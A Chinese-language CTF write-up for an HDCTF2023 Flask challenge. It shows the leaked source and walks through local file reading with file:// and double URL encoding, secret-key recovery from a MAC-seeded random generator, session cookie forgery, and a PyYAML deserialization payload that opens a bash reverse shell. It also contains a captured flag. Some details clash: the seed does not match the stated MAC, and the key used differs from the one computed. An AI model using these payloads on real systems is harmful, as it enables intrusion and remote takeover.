题目链接
三个链接 第一个可以通过file伪协议读取任意文件 第二个上传文件 第三个pwd说明当前目录在/app
非预期:
在read路由读环境变量:/proc/1/environ得到flag:NSSCTF{944467cc-e7ef-446b-92f6-b5f45479e30e}
预期:
在/read路由尝试读app.py和flag发现被正则过滤,url二次编码app/app.py:
得到源码
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| import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="[/read?url=https://baidu.com](view-source:http://node2.anna.nssctf.cn:28427/read?url=https://baidu.com)">Read somethings</a>
<br>
Here is the challenge <a href="[/upload](view-source:http://node2.anna.nssctf.cn:28427/upload)">Upload file</a>
<br>
Enjoy it <a href="[/pwd](view-source:http://node2.anna.nssctf.cn:28427/pwd)">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
|
访问/boogipop并传递file文件名 会执行yaml.full_load(f)，触发pyyaml反序列化，但session伪造使得session[passport]=Welcome To HDCTF2023.
其中random.seed(uuid.getnode()) 是使用 Python 中的 random 模块来设置随机数生成器的种子(seed)。在这里，uuid.getnode() 函数返回本机的MAC地址 而app.config['SECRET_KEY'] = str(random.random()*233),说明这个secret_key我们可以获取,网卡地址可以通过读取/sys/class/net/eth0/address,得到02:42:ac:02:6c:b9
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| import random
random.seed(0x0242ac0221e1)
print(str(random.random()*233))
|
得到secret_key是:158.36050847457943
加密:
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| $ ./flask_session_cookie_manager3.py encode -t '{"passport":"Welcome To HDCTF2023"}' -s '211.00504154872561'
|
yaml反序列化内容
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| !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: []
state:
update: !!python/name:eval
items: !!python/name:list
|
命名1.txt在upload页面绕过黑名单 然后访问/boogipop，改session file=/app/uploads/1.txt